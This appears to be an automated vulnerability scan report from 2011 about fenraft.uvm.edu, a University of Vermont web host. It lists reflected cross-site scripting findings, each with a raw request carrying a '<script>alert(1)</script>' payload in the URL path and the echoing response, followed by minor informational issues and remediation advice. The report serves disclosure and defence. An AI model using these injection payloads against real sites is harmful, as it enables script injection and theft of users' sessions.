XSS, fenraft.uvm.edu, Cross Site Scripting, REST URL Parameter, Javascript Injection, fenraft.uvm.edu

Report generated by XSS.CX at Sun Oct 23 19:10:55 CDT 2011.

1. Cross-site scripting (reflected)

1.1. http://fenraft.uvm.edu/www/images/templates/favicon.ico [REST URL parameter 1]

1.2. http://fenraft.uvm.edu/www/images/templates/favicon.ico [REST URL parameter 2]

1.3. http://fenraft.uvm.edu/www/images/templates/favicon.ico [REST URL parameter 3]

1.4. http://fenraft.uvm.edu/~procure/ [REST URL parameter 1]

2. Referer-dependent response

3. Cross-domain Referer leakage

4. Cross-domain script include

4.1. http://fenraft.uvm.edu/~procure/

4.2. http://fenraft.uvm.edu/~procure/template7.css

5. Content type incorrectly stated

1. Cross-site scripting (reflected) next
There are 4 instances of this issue:

/www/images/templates/favicon.ico [REST URL parameter 1]
/www/images/templates/favicon.ico [REST URL parameter 2]
/www/images/templates/favicon.ico [REST URL parameter 3]
/~procure/ [REST URL parameter 1]

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:

Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).

In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

1.1. http://fenraft.uvm.edu/www/images/templates/favicon.ico [REST URL parameter 1] next

Summary

Severity:	High
Confidence:	Certain
Host:	http://fenraft.uvm.edu
Path:	/www/images/templates/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 17c6c"><script>alert(1)</script>21c63a793ca was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /www17c6c"><script>alert(1)</script>21c63a793ca/images/templates/favicon.ico HTTP/1.1
Host: fenraft.uvm.edu
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utma=6724589.1093291208.1319414370.1319414370.1319414370.1; __utmb=6724589.2.9.1319414370; __utmc=6724589; __utmz=6724589.1319414370.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=uvm%20procurement

Response

HTTP/1.1 404 Not Found
Date: Sun, 23 Oct 2011 23:59:57 GMT
Server: Apache/2.2.3 (Red Hat)
X-Powered-By: PHP/5.3.3
Content-Type: text/html
Content-Length: 9869

<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" class="no-js">
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<link rel="stylesheet"
...[SNIP]...
<a href="/www17c6c"><script>alert(1)</script>21c63a793ca/images/templates/">
...[SNIP]...

1.2. http://fenraft.uvm.edu/www/images/templates/favicon.ico [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://fenraft.uvm.edu
Path:	/www/images/templates/favicon.ico

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b45a2"><script>alert(1)</script>dfb433da390 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /www/imagesb45a2"><script>alert(1)</script>dfb433da390/templates/favicon.ico HTTP/1.1
Host: fenraft.uvm.edu
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utma=6724589.1093291208.1319414370.1319414370.1319414370.1; __utmb=6724589.2.9.1319414370; __utmc=6724589; __utmz=6724589.1319414370.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=uvm%20procurement

Response

HTTP/1.1 404 Not Found
Date: Sun, 23 Oct 2011 23:59:58 GMT
Server: Apache/2.2.3 (Red Hat)
X-Powered-By: PHP/5.3.3
Content-Type: text/html
Content-Length: 9869

<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" class="no-js">
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<link rel="stylesheet"
...[SNIP]...
<a href="/www/imagesb45a2"><script>alert(1)</script>dfb433da390/templates/">
...[SNIP]...

1.3. http://fenraft.uvm.edu/www/images/templates/favicon.ico [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://fenraft.uvm.edu
Path:	/www/images/templates/favicon.ico

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1e7f4"><script>alert(1)</script>1363a453858 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /www/images/templates1e7f4"><script>alert(1)</script>1363a453858/favicon.ico HTTP/1.1
Host: fenraft.uvm.edu
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utma=6724589.1093291208.1319414370.1319414370.1319414370.1; __utmb=6724589.2.9.1319414370; __utmc=6724589; __utmz=6724589.1319414370.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=uvm%20procurement

Response

HTTP/1.1 404 Not Found
Date: Mon, 24 Oct 2011 00:00:00 GMT
Server: Apache/2.2.3 (Red Hat)
X-Powered-By: PHP/5.3.3
Content-Type: text/html
Content-Length: 9869

<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" class="no-js">
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<link rel="stylesheet"
...[SNIP]...
<a href="/www/images/templates1e7f4"><script>alert(1)</script>1363a453858/">
...[SNIP]...

1.4. http://fenraft.uvm.edu/~procure/ [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://fenraft.uvm.edu
Path:	/~procure/

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 74acf"><script>alert(1)</script>0fe8dd2b3fc was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /~procure74acf"><script>alert(1)</script>0fe8dd2b3fc/?Page=doing_business_with_uvm.htm HTTP/1.1
Host: fenraft.uvm.edu
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://www.google.com/url?sa=t&rct=j&q=uvm%20procurement&source=web&cd=2&ved=0CCcQjBAwAQ&url=http%3A%2F%2Ffenraft.uvm.edu%2F~procure%2F%3FPage%3Ddoing_business_with_uvm.htm&ei=OqqkToLiA8bi0QG915CGBQ&usg=AFQjCNGPbdpdEnXDb9wR5Ch5sSDeshurNQ&sig2=Eu36NiOmIonFyCR-qx27XQ
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Date: Sun, 23 Oct 2011 23:59:43 GMT
Server: Apache/2.2.3 (Red Hat)
X-Powered-By: PHP/5.3.3
Content-Type: text/html
Content-Length: 9832

<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" class="no-js">
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<link rel="stylesheet"
...[SNIP]...
<a href="/~procure74acf"><script>alert(1)</script>0fe8dd2b3fc/">
...[SNIP]...

2. Referer-dependent response previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://fenraft.uvm.edu
Path:	/~procure/template7.css

Issue description

The application's responses appear to depend systematically on the presence or absence of the Referer header in requests. This behaviour does not necessarily constitute a security vulnerability, and you should investigate the nature of and reason for the differential responses to determine whether a vulnerability is present.

Common explanations for Referer-dependent responses include:

Referer-based access controls, where the application assumes that if you have arrived from one privileged location then you are authorised to access another privileged location. These controls can be trivially defeated by supplying an accepted Referer header in requests for the vulnerable function.
Attempts to prevent cross-site request forgery attacks by verifying that requests to perform privileged actions originated from within the application itself and not from some external location. Such defences are not robust - methods have existed through which an attacker can forge or mask the Referer header contained within a target user's requests, by leveraging client-side technologies such as Flash and other techniques.
Delivery of Referer-tailored content, such as welcome messages to visitors from specific domains, search-engine optimisation (SEO) techniques, and other ways of tailoring the user's experience. Such behaviours often have no security impact; however, unsafe processing of the Referer header may introduce vulnerabilities such as SQL injection and cross-site scripting. If parts of the document (such as META keywords) are updated based on search engine queries contained in the Referer header, then the application may be vulnerable to persistent code injection attacks, in which search terms are manipulated to cause malicious content to appear in responses served to other application users.

Issue remediation

The Referer header is not a robust foundation on which to build any security measures, such as access controls or defences against cross-site request forgery. Any such measures should be replaced with more secure alternatives that are not vulnerable to Referer spoofing.

If the contents of responses is updated based on Referer data, then the same defences against malicious input should be employed here as for any other kinds of user-supplied data.

Request 1

GET /~procure/template7.css HTTP/1.1
Host: fenraft.uvm.edu
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1
Accept: text/css,*/*;q=0.1
Referer: http://fenraft.uvm.edu/~procure/?Page=doing_business_with_uvm.htm
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response 1

HTTP/1.1 404 Not Found
Date: Sun, 23 Oct 2011 23:59:27 GMT
Server: Apache/2.2.3 (Red Hat)
X-Powered-By: PHP/5.3.3
Content-Type: text/html
Content-Length: 10280

<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" class="no-js">
<head>
   <meta http-equiv="content-type" content="text/html; charset=utf-8" />
   <link rel="stylesheet"
...[SNIP]...
</p><form method="post" action="http://www.uvm.edu/talk_to_us/">
   <p>Report this bad link to the authorities by simply clicking on the button in the following form (please only submit once by making sure to single-click the button):</p>
   <p>
       <input type="hidden" id="Page" name="Page" value="reportbadurl.php" />
       <input type="hidden" id="referer" name="referer" value="http://fenraft.uvm.edu/~procure/?Page=doing_business_with_uvm.htm" />
       <input type="hidden" id="badurl" name="badurl" value="http://fenraft.uvm.edu/~procure/template7.css" />
       <input type="hidden" id="line" name="line" value="6" />
       <input type="submit" value="Report Bad Link" />
   </p>
</form>

<p>You can also <a href="/~procure/">go to the top of this level</a>, or <a href="/~procure/../">go up one level</a>.</p></div>
<div id="uvmfooter">
<address>
<a href="http://www.uvm.edu/talk_to_us/?what=File+Not+Found" id="contactus">Contact UVM</a> © 2011 The University of Vermont - Burlington, VT 05405 - (802) 656-3131
</address></div>
</div>
</div>
</body>
</html>

Request 2

GET /~procure/template7.css HTTP/1.1
Host: fenraft.uvm.edu
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response 2

HTTP/1.1 404 Not Found
Date: Sun, 23 Oct 2011 23:59:31 GMT
Server: Apache/2.2.3 (Red Hat)
X-Powered-By: PHP/5.3.3
Content-Type: text/html
Content-Length: 9613

<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" class="no-js">
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<link rel="stylesheet"
...[SNIP]...
</p>
<p>You can also <a href="/~procure/">go to the top of this level</a>, or <a href="/~procure/../">go up one level</a>.</p></div>
<div id="uvmfooter">
<address>
<a href="http://www.uvm.edu/talk_to_us/?what=File+Not+Found" id="contactus">Contact UVM</a> © 2011 The University of Vermont - Burlington, VT 05405 - (802) 656-3131
</address></div>
</div>
</div>
</body>
</html>

3. Cross-domain Referer leakage previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://fenraft.uvm.edu
Path:	/~procure/

Issue detail

The page was loaded from a URL containing a query string:

http://fenraft.uvm.edu/~procure/?Page=doing_business_with_uvm.htm

The response contains the following links to other domains:

http://www.google.com/jsapi
https://s3.amazonaws.com/ha_js/ga_social_tracking.js

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.

Request

GET /~procure/?Page=doing_business_with_uvm.htm HTTP/1.1
Host: fenraft.uvm.edu
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://www.google.com/url?sa=t&rct=j&q=uvm%20procurement&source=web&cd=2&ved=0CCcQjBAwAQ&url=http%3A%2F%2Ffenraft.uvm.edu%2F~procure%2F%3FPage%3Ddoing_business_with_uvm.htm&ei=OqqkToLiA8bi0QG915CGBQ&usg=AFQjCNGPbdpdEnXDb9wR5Ch5sSDeshurNQ&sig2=Eu36NiOmIonFyCR-qx27XQ
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sun, 23 Oct 2011 23:59:26 GMT
Server: Apache/2.2.3 (Red Hat)
X-Powered-By: PHP/5.3.3
Content-Type: text/html
Content-Length: 12792

<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" class="no-js">
<head>
   <meta http-equiv="content-type" content="text/html; charset=utf-8" />
   <link rel="stylesheet"
...[SNIP]...

   <script type="text/javascript" src="https://s3.amazonaws.com/ha_js/ga_social_tracking.js"></script>
...[SNIP]...
</div>
       <script src="http://www.google.com/jsapi" type="text/javascript"></script>
...[SNIP]...

4. Cross-domain script include previous next
There are 2 instances of this issue:

/~procure/
/~procure/template7.css

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.

4.1. http://fenraft.uvm.edu/~procure/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://fenraft.uvm.edu
Path:	/~procure/

Issue detail

The response dynamically includes the following scripts from other domains:

http://www.google.com/jsapi
https://s3.amazonaws.com/ha_js/ga_social_tracking.js

Request

Response

4.2. http://fenraft.uvm.edu/~procure/template7.css previous

Summary

Severity:	Information
Confidence:	Certain
Host:	http://fenraft.uvm.edu
Path:	/~procure/template7.css

Issue detail

The response dynamically includes the following scripts from other domains:

http://www.google.com/jsapi
https://s3.amazonaws.com/ha_js/ga_social_tracking.js

Request

Response

5. Content type incorrectly stated previous

Summary

Severity:	Information
Confidence:	Firm
Host:	http://fenraft.uvm.edu
Path:	/www/images/templates/favicon.ico

Issue detail

The response contains the following Content-type statement:

Content-Type: text/plain

The response states that it contains plain text. However, it actually appears to contain unrecognised content.

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.

Request

GET /www/images/templates/favicon.ico HTTP/1.1
Host: fenraft.uvm.edu
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utma=6724589.1093291208.1319414370.1319414370.1319414370.1; __utmb=6724589.2.9.1319414370; __utmc=6724589; __utmz=6724589.1319414370.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=uvm%20procurement

Response

HTTP/1.1 200 OK
Date: Sun, 23 Oct 2011 23:59:36 GMT
Server: Apache/2.2.3 (Red Hat)
Last-Modified: Thu, 24 Jan 2008 21:27:27 GMT
ETag: "6541ee4-10be-8226edc0"
Accept-Ranges: bytes
Content-Length: 4286
Content-Type: text/plain

...... .... .........(... ...@..... .........................-w].-w].-w].-w].-w].-w].-w].-w].-w].-w].-w].-w].-w].-w].-w].-w].-w].-w].-w].-w].-w].-w].-w].-w].-w].-w].-w].-w].-w].............-w].-w].-w
...[SNIP]...

Report generated by XSS.CX at Sun Oct 23 19:10:55 CDT 2011.